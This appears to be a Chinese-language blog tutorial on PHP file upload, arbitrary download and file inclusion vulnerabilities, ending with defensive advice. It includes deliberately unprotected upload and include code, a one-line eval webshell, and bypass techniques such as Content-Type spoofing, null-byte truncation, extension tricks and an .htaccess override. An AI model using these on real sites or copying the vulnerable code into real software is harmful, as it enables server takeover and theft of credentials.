文件操作漏洞属于可执行性很高,有很多伪装技巧,并且成功之后可以利用很多高危漏洞的手段之一.
主要是文件上传,下载的时候,系统必须对用户开放读写的权限. 这时候就等于开了两扇大门. 如果文件直接跟服务器在一起,那就有很多的信息可以挖掘了.
那么具体文件操作漏洞是什么原理呢?
1. 常见的文件操作
- 文件上传
- 上传头像
- 上传附件
- 文件下载
- 下载应用
- 下载附件
那么这些操作背后就存在不少安全隐患. 有针对服务器端的,也有针对用户文件的.(试探出其他用户上传文件)
一般来说针对上传/下载,存在上传 webshell or 上传木马 / 下载任意文件 or 下载程序代码
2.常见文件操作漏洞
文件上传漏洞
这个可能是最好理解的,也是危害最大的之一. 比如如果不做限制,用户上传了一个脚本文件. 比如 hack.php.然后因为上传之后的路径或者名字是可以猜测出的. 就可以直接运行这个脚本. 给出一个文件上传页面实现功能的php部分代码,php写后端还是很快速,简单的.(虽然漏洞多:)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
//没有任何安全防护的版本
if(is_uploaded_file($_FILES['upfile']['tmp_name'])){
$upfile=$_FILES["upfile"];
$name=$upfile["name"];//上传文件的文件名
$type=$upfile["type"];//上传文件的类型
$size=$upfile["size"];//上传文件的大小
$tmp_name=$upfile["tmp_name"];//上传文件的临时存放路径
$error=$upfile["error"];//上传后系统返回的值
move_uploaded_file($tmp_name,'upload/'.$name);
$destination="upload/".$name;
echo "<table width='75%' border='1's align='center' cellpadding='5' cellspacing='1' bordercolor='#000000' >";
echo "<tr><td> 文件名称:</td><td>".$name."</td></tr>";
echo "<tr><td> 文件类型:</td><td>".$type."</td></tr>";
echo "<tr><td> 文件大小:</td><td>".$size." Bit</td></tr>";
echo "<tr><td> 临时路径:</td><td>".$tmp_name."</td></tr>";
echo "<tr><td>上传信息:";
if($error==0){
echo "</td><td>上传成功!</td></tr>";
echo "<tr><td>图片预览:</td><td>";
echo "<img src=".$destination."></td></tr>";
}else{
echo "</td><td>上传失败!</td></tr>";
}
echo "</table>";
}那么,大家可以说,我只要限制部分文件格式就行了嘛,就可以有简单的升级版本: (然而机智的hacker很快找到了新的方法去伪装,比如把原本的hacker.php 改后缀名成hacker.png,那么大家可能要问,png文件不能直接执行代码呀,就要提到后面说的文件包含漏洞了)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
if(is_uploaded_file($_FILES['upfile']['tmp_name'])){
$upfile=$_FILES["upfile"];
$name=$upfile["name"];//上传文件的文件名
$type=$upfile["type"];//上传文件的类型
$size=$upfile["size"];//上传文件的大小
$tmp_name=$upfile["tmp_name"];//上传文件的临时存放路径
//判断是否为图片
switch ($type){
case 'image/pjpeg':
$okType=true;
break;
case 'image/jpeg':
$okType=true;
break;
case 'image/gif':
$okType=true;
break;
case 'image/png':
$okType=true;
break;
}
if($okType){
$error=$upfile["error"];//上传后系统返回的值
move_uploaded_file($tmp_name,'upload/'.$name);
$destination="upload/".$name;
echo "<table width='75%' border='1's align='center' cellpadding='5' cellspacing='1' bordercolor='#000000' >";
echo "<tr><td> 文件名称:</td><td>".$name."</td></tr>";
echo "<tr><td> 文件类型:</td><td>".$type."</td></tr>";
echo "<tr><td> 文件大小:</td><td>".$size." Bit</td></tr>";
echo "<tr><td> 临时路径:</td><td>".$tmp_name."</td></tr>";
echo "<tr><td>上传信息:";
if($error==0){
echo "</td><td>上传成功!</td></tr>";
echo "<tr><td>图片预览:</td><td>";
echo "<img src=".$destination."></td></tr>";
}else{
echo "</td><td>上传失败!</td></tr>";
}
}else{
echo "</td><td>请上传jpg,gif,png等格式的图片!</td></tr>";
}
echo "</table>";
}
- 下面是最经典的一句话木马的代表. 这个文件就是hack.php,然后上传到服务器如果可以执行.注意eval()函数的要求,传入的必须是带分号可执行的PHP语句,千万要记得分号!!
1
2
3
4
5
6
echo "test";
eval($_POST["cmd"]);
//exec('');
//eval($_GET["cmd"]);任意文件下载
这种漏洞因为比较简单,就不贴代码演示了, 可以任意写个下载页面. 然后因为下载的时候会提供地址. 如果是服务器端地址,你可以进行其他的猜试.
1
2
3
4
5
6原地址:
http://ip:port/download.txt
猜代码文件:
http://ip:port/download.php
猜配置文件:
http://ip:port/nginx.conf #然后一步步嗅探可能获取到mysql配置文件这种带账号密码的高危文件
文件包含漏洞
这个漏洞相对比较少见了~ 不管是html还是php,因为大量页面的统一性与提高复用度. 一般都会把重复的代码抽取出来. 比如:header footer left的代码作为公共部分. 但是一旦这其中处理不当,就会存在包含漏洞了,hacker可以上传恶意文件或者远程文件. 来看看具体demo
各种操作的页面都需要链接数据库,如果在每个PHP页面都放置一份相同的链接db的代码,肯定不可取.所以就会抽取通用的代码.然后各自去引用 Conn.php.这个时候要使用如下几种方式. 我给个demo
1
2
3
4
5
6
7
8
9
10
11
12
13
14//常见的php文件包含的函数
include();
require();
include_once();
require_once();
//fileInclude demo
if(isset($_GET['name'])){
$filename = $_GET['name'];
include($filename);
}else{
echo "Error.";
}文件包含一般分两种 :
3.实战技巧
假设我们的利用文件是 evil.php ,里面写了一句话木马(phpinfo()~); 但是前端后端,甚至服务器端都会对文件的上传做严格的控制.下面说一下常见思路.
- 前端检测文件名格式(xx.png /jpeg/gif等),或者JS检测
直接Burpsuite抓包,上传evil.png然后把文件的名字改成evil.php. js检测直接禁掉js
服务器端检查Content-Type. 也就是文件类型
改为 image/png (也可以是jpeg,gif).
文件系统00x0截断
在上传的时候,当文件系统读到0x00时,会认为文件已经结束。利用00截断就是利用程序员在写程序时对文件的上传路径过滤不严格,产生0x00上传截断漏洞。
实现 : 通过抓包截断将evil.php.jpg后面的一个
.换成0x00。在上传的时候,当文件系统读到0x00时,会认为文件已经结束,从而将evil.php.jpg的内容写入到evil.php中,从而达到攻击的目的。(bs的hex编辑修改)服务器端扩展名检测
上传到服务器之前,nginx/apache做了后缀名审查.一般是黑名单中有的都不允许上传.
实现 : 将文件名evil.php改成evil.php.abc(奇怪的不被解析的后缀名都行)。首先,服务器验证文件扩展名的时候,验证的是.abc,只要该扩展名符合服务器端黑白名单规则,即可上传。另外,当在浏览器端访问该文件时,Apache如果解析不了.abc扩展名,会向前寻找可解析的扩展名,即evil.php
文件头检测.
常见的图片格式开头结尾都有标记,一般以开头标记作为检测. 那么伪装的php文件就会被发现
实现: 文本模式编辑evil.png,然后把 代码前面加上对应的文件头.然后想办法调用.
大小写过滤 & php字符过滤 & 特殊后缀名过滤
比较少见一点的过滤手段.
大小写可以试着改成
evil.Php; 字符过滤可以试着拼凑双字符.evil.pphphp;特殊后缀尝试evil.php5,evil.php6. evil.php (结尾加个空格)重写解析规则
上传覆盖.htaccess文件,重写解析规则,将上传的带有脚本马的图片以脚本方式解析。
实现:
1
2
3
4在可以上传.htaccess文件时,先上传.htaccess文件,覆盖掉原先的.htaccess文件;再上传【evil.gif】文件。使用如下的.htaccess语句,即可将【evil.gif】文件以php脚本方式解析。
<FilesMatch "evil.gif">
SetHandler application/x-httpd-php
</FilesMatch>
4.如何防范
防范文件上传/包含类漏洞,需要多个方面进行加固.采取白名单模式,尽量少信任,随机打乱.
- 对上传的图片本身进行压缩,避免嵌入恶意代码(hacker.png)
- 验证文件头,并严格控制文件后缀,避免0x00等文件截断漏洞
- 不允许上传后的目录拥有执行权限(有时候会无效)
- 对文件上传类型做白名单限制(同时控制大小,甚至更多参数)
- 上传的文件随机原有文件名,绝对禁止上传文件的路径暴露
任意文件下载漏洞防范
这种漏洞其实是没对下载访问权限做限制的体现,并且下载的文件有实际的利用价值.所以:
- 不把重要配置文件信息存在文件服务器端.(分离主服务器与文件服务器)
- 验证下载路径,以及下载的文件格式


